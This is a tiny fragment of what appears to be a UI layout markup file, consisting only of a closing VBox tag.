</VBox>